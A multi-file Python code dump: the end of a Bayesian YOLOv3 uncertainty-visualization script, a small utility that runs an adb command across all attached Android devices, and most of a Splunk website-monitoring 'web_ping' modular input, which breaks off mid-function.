enumerate(grids): result = Image.fromarray(img) path = os.path.join(config['out_path'], '{}_prior{}_{}.png'.format(os.path.splitext(file_name)[0], idx, config['ucty'])) result.save(path) def worker(files, config): os.makedirs(config['out_path'], exist_ok=True) yolo = yolov3.bayesian_yolov3_aleatoric(config) inference = Inference(yolo, config) logging.info('Processing: {}'.format(config['ucty'])) for file in files: logging.info('Processing file: {}'.format(file)) inference.make_color_map(file, config) logging.info('Finished: {}'.format(config['ucty'])) def do_it(files, config): for uncertainty_key in ['epi_covar_loc', 'ale_var_loc']: for ucty_idx in range(4): if 'epi' in uncertainty_key: ucty_type = 'epi' else: ucty_type = 'ale' mapping = ['x', 'y', 'w', 'h'] config['ucty'] = ucty_type + '_' + mapping[ucty_idx] config['ucty_idx'] = ucty_idx config['uncertainty_key'] = uncertainty_key p = multiprocessing.Process(target=worker, args=(files, config)) p.start() p.join() for uncertainty_key in ['cls_mutual_info', 'obj_mean', 'obj_mutual_info']: config['uncertainty_key'] = uncertainty_key config['ucty'] = uncertainty_key p = multiprocessing.Process(target=worker, args=(files, config)) p.start() p.join() def main(): config = { 'checkpoint_path': './checkpoints/', 'run_id': 'epi_ale', # edit 'step': 'last', # edit, int or 'last' 'crop_img_size': [768, 1440, 3], 'full_img_size': [1024, 1920, 3], # edit if not ecp 'cls_cnt': 2, 'batch_size': 1, 'T': 30, 'inference_mode': True, 'cpu_thread_cnt': 10, 'freeze_darknet53': False, # actual value irrelevant 'crop': False, # edit 'training': False, 'aleatoric_loss': True, # actual value irrelevant 'priors': yolov3.ECP_9_PRIORS, # actual value irrelevant 'out_path': './uncertainty_visualization', # edit } # NOTE: only works for bayesian_yolov3_aleatoric clss assert config['batch_size'] == 1 assert config['inference_mode'] files = glob.glob('./test_images/*') # edit logging.info('----- START -----') start = time.time() do_it(files, config) end = time.time() elapsed = int(end - start) logging.info('----- FINISHED in {:02d}:{:02d}:{:02d} -----'.format(elapsed // 3600, (elapsed // 60) % 60, elapsed % 60)) if __name__ == '__main__': logging.basicConfig(level=logging.INFO, format='%(asctime)s, pid: %(process)d, %(levelname)-8s %(message)s', datefmt='%a, %d %b %Y %H:%M:%S', ) main()
adball.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Thu Aug 16 20:18:29 2018 @author: shane """ import os, sys import subprocess, threading import shlex #Command execution function `cmd()` def cmd(cmds, _cwd='', selfdebug=True): if _cwd == '': _cwd = os.getcwd() try: if selfdebug: print(cmds) _output = subprocess.check_output(cmds, stderr=subprocess.STDOUT, shell=True, cwd=_cwd, encoding='850') if selfdebug: print(wrap(cmds, '#')) print(_output) return _output.splitlines() except subprocess.CalledProcessError as e: _output = e.output print(cmds) print(_output) return _output.splitlines() #Get a list of attached serials def currently_attached_serials(): serials = [] for line in cmd('adb devices'): if '\tdevice' in line: serials.append(line.split('\t')[0]) print(f'You have {len(serials)} attached devices!!\n\n') return serials def wrap(input, wrapper_char): bar = '' for i in range(0, len(input) + 6): bar += wrapper_char return f'{bar}\n## {input} ##\n{bar}' #################### ## MAIN FUNCTION ### #################### args = [] n = 0 for arg in sys.argv: if n == 0: n += 1 continue args.append(arg) cmds = ' '.join(args) threads = [] print('==> GATHER DEVICES\n') for serial in currently_attached_serials(): t = threading.Thread(target=cmd, args=(f'adb -s {serial} {cmds}',)) t.start() threads.append(t) for t in threads: t.join() print('==> FINISHED')
web_ping.py
""" This module defines the Website Monitoring web_ping modular input. """ import os import sys path_to_mod_input_lib = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'modular_input.zip') sys.path.insert(0, path_to_mod_input_lib) from modular_input import Field, ModularInput, URLField, DurationField, IntegerField, BooleanField, RangeField from modular_input.shortcuts import forgive_splunkd_outages from modular_input.secure_password import get_secure_password from splunk.models.field import Field as ModelField from splunk.models.field import IntField as ModelIntField import splunk import re import hashlib import time import json import threading import logging import socket from six.moves.urllib.request import getproxies from six import text_type, binary_type from website_monitoring_app import socks from website_monitoring_app import requests from website_monitoring_app.requests_ntlm import HttpNtlmAuth from website_monitoring_app.expiring_dict import ExpiringDict # Disable the SSL certificate warning # http://lukemurphey.net/issues/1390 # We don't support SSL certicate checking at this point because I haven't found a good way to # include the SSL cert libraries into a Splunk app. from website_monitoring_app.requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) class NTLMAuthenticationValueException(Exception): """ This class is used to communicate that the NTLM authentication information is invalid. """ pass class Timer(object): """ This class is used to time durations. """ def __init__(self, verbose=False): self.verbose = verbose def __enter__(self): self.start = time.time() return self def __exit__(self, *args): self.end = time.time() self.secs = self.end - self.start self.msecs = self.secs * 1000 # millisecs class WebPing(ModularInput): """ The web ping modular input connects to a website to determine if the site is operational and tracks the time it takes to respond. """ PARSE_URL_RE = re.compile(r"http[s]?[:]//(.*)", re.IGNORECASE) HTTP_AUTH_BASIC = 'basic' HTTP_AUTH_DIGEST = 'digest' HTTP_AUTH_NTLM = 'ntlm' HTTP_AUTH_NEGOTIATE = 'negotiate' HTTP_AUTH_NONE = None DEFAULT_THREAD_LIMIT = 200 # The following define which secure password entry to use for the proxy PROXY_PASSWORD_REALM = 'website_monitoring_app_proxy' PROXY_PASSWORD_USERNAME = 'IN_CONF_FILE' # This stores the default app config information default_app_config = None class Result(object): """ The results object designates the results of connecting to a website. """ def __init__(self, request_time, response_code, timed_out, url, response_size=None, response_md5=None, response_sha224=None, has_expected_string=None, response_body=None, exceeded_redirects=None, return_body=False, timeout=0, max_redirects=-1, warning_threshold=None, error_threshold=None, headers=None): self.request_time = request_time self.response_code = response_code self.timed_out = timed_out self.url = url self.response_size = response_size self.response_md5 = response_md5 self.response_sha224 = response_sha224 self.has_expected_string = has_expected_string self.response_body = response_body self.exceeded_redirects = exceeded_redirects self.return_body = return_body self.timeout = timeout self.max_redirects = max_redirects self.warning_threshold = warning_threshold self.error_threshold = error_threshold self.headers = headers def __init__(self, timeout=30, thread_limit=None): scheme_args = {'title': "Website Availability Check", 'description': "Connects to a website in order to obtain performance statistics", 'use_external_validation': "true", 'streaming_mode': "xml", 'use_single_instance': "true"} args = [ Field("title", "Title", "A short description (typically just the domain name)", empty_allowed=False), URLField("url", "URL", "The URL to connect to (must be be either HTTP or HTTPS protocol)", empty_allowed=False, require_https_on_cloud=True), DurationField("interval", "Interval", "The interval defining how often to perform the check; can include time units (e.g. 15m for 15 minutes, 8h for 8 hours)", empty_allowed=False), Field("configuration", "Configuration", "Defines a specific proxy configuration to use (in website_monitoring.spec) if not using the default; only used if you want to have multiple proxy servers", none_allowed=True, empty_allowed=True), Field("client_certificate", "Client Certificate Path", "Defines the path to the client certificate (if the website requires client SSL authentication)", none_allowed=True, empty_allowed=True), Field("client_certificate_key", "Client Certificate Key Path", "Defines the path to the client certificate key (necessary of the key is in a separate file from the certificate)", none_allowed=True, empty_allowed=True), Field("username", "Username", "The username to use for authenticating (only HTTP authentication supported)", none_allowed=True, empty_allowed=True, required_on_create=False, required_on_edit=False), Field("password", "Password", "The password to use for authenticating (only HTTP authentication supported)", none_allowed=True, empty_allowed=True, required_on_create=False, required_on_edit=False), Field("user_agent", "User Agent", "The user-agent to use when communicating with the server", none_allowed=True, empty_allowed=True, required_on_create=False, required_on_edit=False), Field("should_contain_string", "String match", "A string that should be present in the content", none_allowed=True, empty_allowed=True, required_on_create=False, required_on_edit=False), IntegerField("max_redirects", "Maximum Redirects", "The maximum number of redirects to follow (-1 or blank for unlimited, 0 to not follow any redirects)", none_allowed=True, empty_allowed=True, required_on_create=False, required_on_edit=False), IntegerField("timeout", "Timeout", "The maximum number of seconds to wait for a response", none_allowed=True, empty_allowed=True, required_on_create=False, required_on_edit=False), BooleanField("return_body", "Return response body", "If checked, will return the response body", none_allowed=True, empty_allowed=True, required_on_create=False, required_on_edit=False), BooleanField("return_headers", "Return headers", "If checked, will return the response headers", none_allowed=True, empty_allowed=True, required_on_create=False, required_on_edit=False), IntegerField("warning_threshold", "Warning Threshold", "The number of milliseconds above which a response time is considered a 'Warning'", none_allowed=True, empty_allowed=True, required_on_create=False, required_on_edit=False), IntegerField("error_threshold", "Error Threshold", "The number of milliseconds above which a response time is considered 'Failed'", none_allowed=True, empty_allowed=True, required_on_create=False, required_on_edit=False) ] ModularInput.__init__(self, scheme_args, args, logger_name='web_availability_modular_input', logger_level=logging.INFO) if timeout > 0: self.timeout = timeout else: self.timeout = 30 if thread_limit is None: self.thread_limit = WebPing.DEFAULT_THREAD_LIMIT else: self.thread_limit = thread_limit self.threads = {} # This will store a cache for proxy configs for 10 minutes self.app_configs = ExpiringDict(600) @classmethod def resolve_proxy_type(cls, proxy_type, logger=None): """ Determine the type of the proxy to be used based on the string. Argument: proxy_type -- A string representing the proxy type (e.g. "socks4") logger -- The logger object to use for logging """ # Make sure the proxy string is not none if proxy_type is None: return None # Prepare the string so that the proxy type can be matched more reliably proxy_type_processed = proxy_type.strip().lower() if proxy_type_processed == "socks4": return socks.PROXY_TYPE_SOCKS4 elif proxy_type_processed == "socks5": return socks.PROXY_TYPE_SOCKS5 elif proxy_type_processed == "http": return socks.PROXY_TYPE_HTTP elif proxy_type_processed == "": return None else: if logger: logger.warn("Proxy type is not recognized: %s", proxy_type) return None @classmethod def determine_auth_type(cls, url, proxies=None, timeout=None, cert=None, logger=None, ): """ Determine the authentication type that is appropriate to authenticate to the given web-server. Argument: url -- The url to connect to. This object ought to be an instance derived from using urlparse proxies -- The proxies to use timeout -- The amount of time to quit waiting on a connection cert -- A tuple representing the certificate to use logger -- The logger object to use for logging """ # Perform a request to the URL and see what authentication method is required http = requests.get(url.geturl(), proxies=proxies, timeout=timeout, cert=cert, verify=False) # Find the authentication header irrespective of case auth_header_value = None for header, value in http.headers.items(): if header.lower() == 'www-authenticate': auth_header_value = value break # Determine if the authentication header is present and use it to determine the # authentication type if auth_header_value is not None: # Handle the pesky cases where a comma separated value is provided in the header # for NTLM negotiation (like "negotiate, ntlm") if 'ntlm' in auth_header_value.lower(): return cls.HTTP_AUTH_NTLM # Otherwise, check the HTTP header for the authentication header m = re.search('^([a-zA-Z0-9]+)', auth_header_value) auth_type = m.group(1) return auth_type.lower() # No authentication header is present else: if logger: logger.warn("Unable to determine authentication type (no www-authenticate header); will default to basic authentication") return cls.HTTP_AUTH_NONE @classmethod def create_auth_for_request(cls, auth_type, username, password, logger=None): """ Create the auth object for the requests library so that any HTTP authentication is taken care of. Argument: auth_type -- A string indicating the type of authentication require (e.g. "digest") username -- The password to use for authentication password -- The username to use for authentication logger -- The logger object to use for logging """ # No authentication if auth_type == cls.HTTP_AUTH_NONE: return None # Digest authentication elif auth_type == cls.HTTP_AUTH_DIGEST: return requests.auth.HTTPDigestAuth(username, password) # NTLM authentication elif auth_type == cls.HTTP_AUTH_NTLM: try: return HttpNtlmAuth(username, password) except ValueError as e: raise NTLMAuthenticationValueException(e) # Basic authentication elif auth_type == cls.HTTP_AUTH_BASIC: return requests.auth.HTTPBasicAuth(username, password) # Unknown authentication type else: if logger: logger.warn('Unknown type of authentication requested, auth_type=%s', auth_type) return (username, password) @classmethod def is_fips_mode(cls): """ Determine if the app is running in FIPS mode. This means that weaker hash algorithms need to be disabled. Attempting to use these weaker hash algorithms will cause OpenSSL to to crash, taking down the entire Python process. """ is_fips = os.environ.get('SPLUNK_FIPS', None) if is_fips is not None and is_fips.strip().lower() in ['1', 'true']: return True else: return False @classmethod def isExceptionForTimeout(cls, exception): """ Determines if the given exception is due to a timeout Argument: exception -- The exception """ if exception.args is not None and len(exception.args) > 0 and hasattr(exception.args[0], 'reason') and hasattr(exception.args[0].reason, 'errno') and exception.args[0].reason.errno in [60, 61, 10060, 10061, 100]: return True else: # Check the stacktrace to see if any of the exception indicate that the issue is a timeout count = 0 while exception is not None and count < 10: # Try to parse out the errno from the message since the errno is oftentimes # unavailable in the exception chain if re.match(".*((\[Errno ((60)|(61)|(10060)|(10061))\])|(timed out)).*", str(exception)): return True # See if the exception has a reason code indicating a connection failure if hasattr(exception, 'errno') and exception.errno in [60, 61, 10060, 10061, 110]: return True # Get the next exception if hasattr(exception, 'args') and exception.args is not None and len(exception.args) > 0 and isinstance(exception.args[0], Exception): exception = exception.args[0] elif hasattr(exception, 'reason') and exception.reason is not None: exception = exception.reason else: exception = None count = count + 1 return False @classmethod def ping(cls, url, username=None, password=None, timeout=30, proxy_type=None, proxy_server=None, proxy_port=None, proxy_user=None, proxy_password=None, proxy_ignore=None, client_certificate=None, client_certificate_key=None, user_agent=None, max_redirects=None, logger=None, should_contain_string=None, response_body_length=0, raise_all=False, warning_threshold=None, error_threshold=None, return_headers=False): """ Perform a ping to a website. Returns a WebPing.Result instance. Argument: url -- The url to connect to. This object ought to be an instance derived from using urlparse. username -- The password to use for authentication password -- The username to use for authentication timeout -- The amount of time to quit waiting on a connection. proxy_type -- The type of the proxy server (must be one of: socks4, socks5, http) proxy_server -- The proxy server to use. proxy_port -- The port on the proxy server to use. proxy_user -- The proxy server to use. proxy_password -- The port on the proxy server to use. proxy_ignore -- The list of domains to not use the proxy server for. client_certificate -- The path to the client certificate to use. client_certificate_key -- The path to the client key to use. user_agent -- The string to use for the user-agent logger -- The logger object to use for logging should_contain_string -- A string that is expected in the response max_redirects -- The maximum number of redirects to follow response_body_length -- How much of the response body to return. -1 for unlimited, 0 to disable. raise_all -- Raise all exceptions even if it is for possibly recoverable issues. warning_threshold -- If the response time is above this number (in ms), it is considered a 'Warning' error_threshold -- If the response time is above this number (in ms), it is concidered an 'Error' (Failed) return_headers -- If true, include the response headers in the output """ if logger: logger.info('Performing ping, url="%s" timeout=%r', url.geturl(), timeout) # Disable the use of the proxy variables if proxy_ignore is not None: os.environ['NO_PROXY'] = proxy_ignore if logger: logger.debug('Proxies discovered from the environment, proxies="%r"', getproxies()) # Determine which type of proxy is to be used (if any) resolved_proxy_type = cls.resolve_proxy_type(proxy_type, logger=logger) # Set should_contain_string to none if it is blank since this means it really doesn't have # a value if should_contain_string is not None and len(should_contain_string.strip()) == 0: should_contain_string = None # Make sure that a timeout is not None since that is infinite if timeout is None: timeout = 30 # Make sure that the max_redirects is None or >= 0 if max_redirects is not None and max_redirects < 0: max_redirects = None if logger and max_redirects is not None: logger.debug("max_redirects = %d", max_redirects) # Make sure that warning_threshold and error_threshold are positive or None if warning_threshold is not None and warning_threshold < 0: warning_threshold = None if error_threshold is not None and error_threshold < 0: error_threshold = None # Setup the proxy info if so configured proxies = {} if resolved_proxy_type is not None and proxy_server is not None and len(proxy_server.strip()) > 0: if proxy_type == "http": # Use the username and password if provided if proxy_password is not None and proxy_user is not None: proxies = { "http": "http://" + proxy_user + ":" + proxy_password + "@" + proxy_server + ":" + str(proxy_port), "https": "http://" + proxy_user + ":" + proxy_password + "@" + proxy_server + ":" + str(proxy_port) } else: proxies = { "http": "http://" + proxy_server + ":" + str(proxy_port), "https": "http://" + proxy_server + ":" + str(proxy_port) } else: socks.setdefaultproxy(resolved_proxy_type, proxy_server, int(proxy_port)) socket.socket = socks.socksocket if logger: logger.debug("Using socks proxy server=%s, port=%s", proxy_server, proxy_port) else: # No proxy is being used pass # Setup the client certificate parameter if client_certificate is not None and client_certificate_key is not None: cert = (client_certificate, client_certificate_key) elif client_certificate is not None: cert = client_certificate else: cert = None if logger and cert is not None: logger.debug("Using client certificate %s", cert) request_time = 0 response_code = 0 response_md5 = None response_sha224 = None timed_out = False response_size = None has_expected_string = None response_body = None exceeded_redirects = None response_headers = None # Setup the headers as necessary headers = {} if user_agent is not None: if logger: logger.debug("Setting user-agent=%s", user_agent) headers['User-Agent'] = user_agent # Make an auth object if necessary auth = None auth_type = None if username is not None and password is not None: # Determine the auth type try: auth_type = cls.determine_auth_type(url, proxies=proxies, timeout=timeout, cert=cert, logger=logger) except Exception as e: auth_type = None if logger: logger.exception("Unable to determine authentication type") # Don't allow the use of NTLM on a host in FIPS mode since NTLM uses MD4 which is a # weak algorithm if auth_type == cls.HTTP_AUTH_NTLM and cls.is_fips_mode(): if logger: logger.warn("Authentication type was automatically identified but will not be used since it uses a weak hash algorithm which is not allowed on this host since it is running in FIPS mode; auth_type=%s", auth_type) auth_type = cls.HTTP_AUTH_NONE # The authentication type could not be determined. However, we know that # authentication is required since a username and password was provided. # Default to HTTP basic authentication. elif auth_type == cls.HTTP_AUTH_NONE: auth_type = cls.HTTP_AUTH_BASIC if logger: logger.info("Authentication type could not be automatically discovered; auth_type=%s", auth_type) elif logger is not None: logger.debug("Discovered auth_type=%s", auth_type) # Get the authentication class for request auth = cls.create_auth_for_request(auth_type, username, password, logger) try: # Perform the request with Timer() as timer: # Make the client # http = requests.get(url.geturl(), proxies=proxies, timeout=timeout, cert=cert, verify=False, auth=auth, headers=headers) session = requests.Session() if max_redirects is not None: session.max_redirects = max_redirects http = session.get(url.geturl(), proxies=proxies, timeout=timeout, cert=cert, verify=False, auth=auth, headers=headers) # Prep the content for hashing; we might need to convert it for Python 3 if isinstance(http.text, binary_type): http_text = http.text else: http_text = http.text.encode('utf-8') # Get the hash of the content if not cls.is_fips_mode(): response_md5 = hashlib.md5(http_text).hexdigest() response_sha224 = hashlib.sha224(http_text).hexdigest() # Determine if the expected string is in the content if should_contain_string is not None: has_expected_string = should_contain_string in http.text # Get the size of the content response_size = len(http.text) if response_body_length < 0: response_body = http.text elif response_body_length > 0: response_body = http.text[:response_body_length] response_code = http.status_code request_time = timer.msecs # Get the headers if return_headers: response_headers = http.headers # Handle time outs except requests.exceptions.Timeout: # Note that the connection timed out timed_out = True except requests.exceptions.SSLError as e: if logger: logger.error("An SSL exception was thrown when executing a web request against url=%s: " + str(e), url.geturl()) except requests.exceptions.ConnectionError as e: timed_out = WebPing.isExceptionForTimeout(e) if not timed_out and logger: logger.exception("A connection exception was thrown when executing a web request against url=%s, this can happen if the domain name, IP address is invalid or if network connectivity is down or blocked by a firewall; see help_url=http://lukemurphey.net/projects/splunk-website-monitoring/wiki/Troubleshooting", url.geturl()) except socks.GeneralProxyError: # This may be thrown if the user configured the proxy settings incorrectly if logger: logger.exception("An error occurred when attempting to communicate with the proxy for url=%s", url.geturl()) except requests.exceptions.TooManyRedirects as e: exceeded_redirects = True if logger: logger.exception("The maximum number of redirects (%d) were exceeded for url=%s", max_redirects, url.geturl()) except Exception as e: if raise_all: raise e if logger: logger.exception("A general exception was thrown when executing a web request for url=%s", url.geturl()) # Finally, return the result return cls.Result(request_time, response_code, timed_out, url.geturl(), response_size, response_md5, response_sha224, has_expected_string, response_body, exceeded_redirects, timeout=timeout, max_redirects=max_redirects, warning_threshold=warning_threshold, error_threshold=error_threshold, headers=response_headers) def output_result(self, result, stanza, title, index=None, source=None, sourcetype=None, host=None,unbroken=True, close=True, proxy_server=None, proxy_port=None, proxy_user=None, proxy_type=None, out=sys.stdout): """ Create a string representing the event. Argument: result -- A result instance from a call to WebPing.ping stanza -- The stanza used for the input sourcetype -- The sourcetype source -- The source field value index -- The index to send the event to unbroken -- close -- out -- The stream to send the event to (defaults to standard output) """ data = { 'response_code': result.response_code if result.response_code > 0 else '', 'total_time': round(result.request_time, 2) if result.request_time > 0 else '', 'request_time': round(result.request_time, 2) if result.request_time > 0 else '', 'timed_out': result.timed_out, 'title': title, 'url': result.url, 'timeout': result.timeout } # Add the response headers if necessary if result.headers is not None: for header in result.headers: data['header_' + header] = result.headers[header] # Log proxy server information if proxy_server is not None: data['proxy_server'] = proxy_server data['proxy_type'] = proxy_type if proxy_user is not None and len(proxy_user) > 0: data['proxy_user'] = proxy_user if proxy_port is not None: data['proxy_port'] = proxy_port # Add the MD5 of the response of available if result.response_md5 is not None: data['content_md5'] = result.response_md5 # Add the SHA-224 of the response of available if result.response_sha224 is not None: data['content_sha224'] = result.response_sha224 # Add the MD5 of the response of available if result.response_size is not None: data['content_size'] = result.response_size # Add the variable noting if the expected string was present if result.has_expected_string is not None: data['has_expected_string'] = str(result.has_expected_string).lower() # Add the variable noting if the maximum number of redirects was exceeded if result.exceeded_redirects is not None: data['exceeded_redirects'] = result.exceeded_redirects # Add the variable indicating what the maximum number of redirects allowed was if result.max_redirects is not None: data['max_redirects'] = result.max_redirects # Output the response body as a separate event, if present if result.response_body is not None: # Make the event event_dict = {'stanza': stanza, 'data' : result.response_body} if index is not None: event_dict['index'] = index if sourcetype is not None: event_dict['sourcetype'] = sourcetype + ":response" if source is not None: event_dict['source'] = source if host is not None: event_dict['host'] = host event = self._create_event(self.document, params=event_dict, stanza=stanza, unbroken=unbroken, close=close) out.write(self._print_event(self.document, event)) # Add warning_threshold and/or error_threshold if not None if result.warning_threshold is not None: data['warning_threshold'] = result.warning_threshold if result.error_threshold is not None: data['error_threshold'] = result.error_threshold # Output event with fields return self.output_event(data, stanza, index=index, host=host, source=source, sourcetype=sourcetype, unbroken=unbroken, close=close, out=out) @classmethod def get_file_path(cls, checkpoint_dir, stanza): """ Get the path to the checkpoint file. Note that the checkpoint directory is using MD5 for legacy purposes (since old versions of the app used MD5). This isn't a significant issue since MD5 isn't be used for security purposes here but merely to make sure that file has no special characters. Arguments: checkpoint_dir -- The directory where checkpoints ought to be saved stanza -- The stanza of the input being used """ if isinstance(stanza, text_type): stanza = stanza.encode('utf-8') if cls.is_fips_mode(): return os.path.join(checkpoint_dir, hashlib.sha224(stanza).hexdigest() + ".json") else: return os.path.join(checkpoint_dir, hashlib.md5(stanza).hexdigest() + ".json") def save_checkpoint(self, checkpoint_dir, stanza, last_run): """ Save the checkpoint state. Arguments: checkpoint_dir -- The directory where checkpoints ought to be saved stanza -- The stanza of the input being used last_run -- The time when the analysis was last performed """ self.save_checkpoint_data(checkpoint_dir, stanza, {'last_run' : last_run}) @forgive_splunkd_outages def get_app_config(self, session_key, stanza="default"): """ Get the app configuration. Arguments: session_key -- The session key to use when connecting to the REST API stanza -- The stanza to get the proxy information from (defaults to "default") """ # See if it is in the cache try: website_monitoring_config = self.app_configs[stanza] if website_monitoring_config is not None: return website_monitoring_config except KeyError: # entry was not found, continue pass # If the stanza is empty, then just use the default if stanza is None or stanza.strip() == "": stanza = "default" # Start off with a default list of settings website_monitoring_config = { 'proxy_type' : 'http', 'proxy_server' : '', 'proxy_port' : '', 'proxy_user': '', 'proxy_password' : '', 'thread_limit' : 200, 'proxy_ignore' : None, 'max_response_body_length' : 1000 } # Get the proxy configuration try: server_response, server_content = splunk.rest.simpleRequest('/servicesNS/nobody/website_monitoring/admin/website_monitoring/' + stanza + '?output_mode=json', sessionKey=session_key) if server_response['status'] != '200': raise Exception("Could not get the website_monitoring configuration") app_content = json.loads(server_content) self.logger.debug("Loaded config is %r", app_content) website_monitoring_config.update(app_content['entry'][0]['content']) # Convert the thread limit to an integer try: website_monitoring_config['thread_limit'] = int(website_monitoring_config['thread_limit']) except ValueError: # Use a value of 25 on Splunk Cloud if self.is_on_cloud(session_key): self.logger.error("The value for the thread limit is invalid and will be ignored (will use a limit of 25), value=%s", website_monitoring_config['thread_limit']) website_monitoring_config['thread_limit'] = 25 else: self.logger.error("The value for the thread limit is invalid and will be ignored (will use a limit of 200), value=%s", website_monitoring_config['thread_limit']) website_monitoring_config['thread_limit'] = 200 # Convert the max_response_body_length to an integer try: website_monitoring_config['max_response_body_length'] = int(website_monitoring_config['max_response_body_length']) except ValueError: self.logger.error("The value for the maximum response body length is invalid and will be ignored (will use a limit of 1000), value=%s", website_monitoring_config['max_response_body_length']) website_monitoring_config['max_response_body_length'] = 1000 self.logger.debug("App config information loaded, stanza=%s", stanza) except splunk.ResourceNotFound: self.logger.info('Unable to find the app configuration for the specified configuration stanza=%s, error="not found"', stanza) except splunk.SplunkdConnectionException: self.logger.error('Unable to find the app configuration for the specified configuration stanza=%s error="splunkd connection error", see url=http://lukemurphey.net/projects/splunk-website-monitoring/wiki/Troubleshooting', stanza) raise # Add the entry to the cache self.app_configs[stanza] = website_monitoring_config return website_monitoring_config @forgive_splunkd_outages def get_proxy_config(self, session_key, stanza="default"): """ Get the proxy configuration This returns the following in a list: # proxy type # proxy server # proxy port # proxy user # proxy ignore list Arguments: session_key -- The session key to use when connecting to the REST API stanza -- The stanza to get the proxy information from (defaults to "default") """ # Don't allow the use of a proxy server on Splunk Cloud since this could # allow unencrypted communication. Cloud shouldn't need the use of a proxy anyways. # Some do use the app to test proxies but they should use an on-prem forwarder # instead. if self.is_on_cloud(session_key): return "http", None, None, None, None, None # If the stanza is empty, then just use the default if stanza is None or stanza.strip() == "": stanza = "default" # Get the proxy configuration website_monitoring_config = self.get_app_config(session_key, stanza) # Get the proxy password from secure storage (if it exists) secure_password = get_secure_password(realm=WebPing.PROXY_PASSWORD_REALM, username=WebPing.PROXY_PASSWORD_USERNAME, session_key=session_key) if secure_password is not None: proxy_password = secure_password['content']['clear_password'] self.logger.debug("Loaded the proxy password from secure storage") elif website_monitoring_config is not None: proxy_password = website_monitoring_config['proxy_password'] else: proxy_password = None if website_monitoring_config is not None: return website_monitoring_config['proxy_type'], website_monitoring_config['proxy_server'], \ website_monitoring_config['proxy_port'], website_monitoring_config['proxy_user'], \ proxy_password, website_monitoring_config['proxy_ignore'] else: return 'http', '', '', '', proxy_password, None def cleanup_threads(self, threads): # Keep track of the number of removed threads so that we can make sure to emit a log # message noting the number of threads removed_threads = 0 # Clean up old threads for thread_stanza in list(threads): # If the thread isn't alive, prune it if not threads[thread_stanza].isAlive(): removed_threads = removed_threads + 1 self.logger.debug("Removing inactive thread for stanza=%s, thread_count=%i", thread_stanza, len(threads)) del threads[thread_stanza] # If we removed threads, note the updated count in the logs so that it can be tracked if removed_threads > 0: self.logger.info("Removed inactive threads, thread_count=%i, removed_thread_count=%i", len(threads), removed_threads) return removed_threads def run(self, stanza, cleaned_params, input_config): # Make the parameters interval = cleaned_params.get("interval", None) title = cleaned_params.get("title", None) url = cleaned_params.get("url", None) client_certificate = cleaned_params.get("client_certificate", None) client_certificate_key = cleaned_params.get("client_certificate_key", None) username = cleaned_params.get("username", None) password = cleaned_params.get("password", None) timeout = cleaned_params.get("timeout", self.timeout) sourcetype = cleaned_params.get("sourcetype", "web_ping") host = cleaned_params.get("host", None) index = cleaned_params.get("index", "default") conf_stanza = cleaned_params.get("configuration", None) user_agent = cleaned_params.get("user_agent", None) should_contain_string = cleaned_params.get("should_contain_string", None) max_redirects = cleaned_params.get("max_redirects", -1) return_body = cleaned_params.get("return_body", False) return_headers = cleaned_params.get("return_headers", False) warning_threshold = cleaned_params.get("warning_threshold", None) error_threshold = cleaned_params.get("error_threshold", None) source = stanza self.logger.debug("cleaned_params=%r", cleaned_params) # Check for missing parameters if interval is None: self.logger.error("Required parameter '%s' is missing for stanza=%s", "interval", stanza) return if title is None: self.logger.error("Required parameter '%s' is missing for stanza=%s", "title", stanza) return if url is None: self.logger.error("Required parameter '%s' is missing for stanza=%s", "url", stanza) return # Load the thread_limit if necessary # This should only be necessary once in the processes lifetime if self.default_app_config is None: # Get the default app config self.default_app_config = self.get_app_config(input_config.session_key) self.logger.debug("Default config is %r", self.default_app_config) # Get the limit from the app config try: loaded_thread_limit = int(self.default_app_config['thread_limit']) except ValueError: loaded_thread_limit = None # Ensure that the thread limit is valid # If it is valid and we are not on cloud, then just load it # Or: if it is valid even for cloud, then load it if (loaded_thread_limit is not None and loaded_thread_limit > 0 and not self.is_on_cloud(input_config.session_key)) \ or (loaded_thread_limit is not None and loaded_thread_limit <= 25 and self.is_on_cloud(input_config.session_key)): self.thread_limit = loaded_thread_limit self.logger.debug("Thread limit successfully loaded, thread_limit=%r", loaded_thread_limit) # If it is valid but too high and we are on cloud, then just set it to 25 elif loaded_thread_limit is not None and loaded_thread_limit > 25 and self.is_on_cloud(input_config.session_key): self.thread_limit = 25 self.logger.warn("Thread limit is too high for Splunk Cloud as it must be no greater than 25; it will be set to 25, thread_limit=%r", loaded_thread_limit) # Warn that the thread limit is invalid else: self.logger.warn("The thread limit is invalid and will be ignored, thread_limit=%r", loaded_thread_limit) # Default to 25 if on cloud if self.is_on_cloud(input_config.session_key): self.thread_limit = 25 # Clean up old threads self.cleanup_threads(self.threads) # Stop if we have a running thread if stanza in self.threads: self.logger.debug("No need to execute this stanza since a thread already running for stanza=%s", stanza) # Determines if the input needs another run elif self.needs_another_run(input_config.checkpoint_dir, stanza, interval): # Get the secure password if necessary if username is not None: secure_password = get_secure_password(realm=stanza, session_key=input_config.session_key) if secure_password is not None: password = secure_password['content']['clear_password'] self.logger.debug("Successfully loaded the secure password for input=%s", stanza) def run_ping(): # Get the proxy configuration try: proxy_type, proxy_server, proxy_port, proxy_user, proxy_password, proxy_ignore = \ self.get_proxy_config(input_config.session_key, conf_stanza) except splunk.ResourceNotFound: self.logger.error("The proxy configuration could not be loaded (was not found). The execution will be skipped for this input with stanza=%s", stanza) return except splunk.SplunkdConnectionException: self.logger.error("The proxy configuration could not be loaded (Splunkd connection exception). The execution will be skipped for this input with stanza=%s, see url=http://lukemurphey.net/projects/splunk-website-monitoring/wiki/Troubleshooting", stanza) return except: self.logger.exception("Exception generated when attempting to get the proxy configuration stanza=%s, see url=http://lukemurphey.net/projects/splunk-website-monitoring/wiki/Troubleshooting", stanza) return # Set the max response body length for this request response_body_length = self.default_app_config['max_response_body_length'] if return_body is False: response_body_length = 0 # Perform the ping try: result = WebPing.ping(url, username, password, timeout, proxy_type, proxy_server, proxy_port, proxy_user, proxy_password, proxy_ignore, client_certificate, client_certificate_key, user_agent, max_redirects, logger=self.logger, should_contain_string=should_contain_string, response_body_length=response_body_length, warning_threshold=warning_threshold, error_threshold=error_threshold, return_headers=return_headers) except NTLMAuthenticationValueException as e: self.logger.warn('NTLM authentication failed due to configuration issue stanza=%s, message="%s"', stanza, str(e)) with self.lock: # Send the event self.output_result(result, stanza, title, host=host, index=index, source=source, sourcetype=sourcetype, 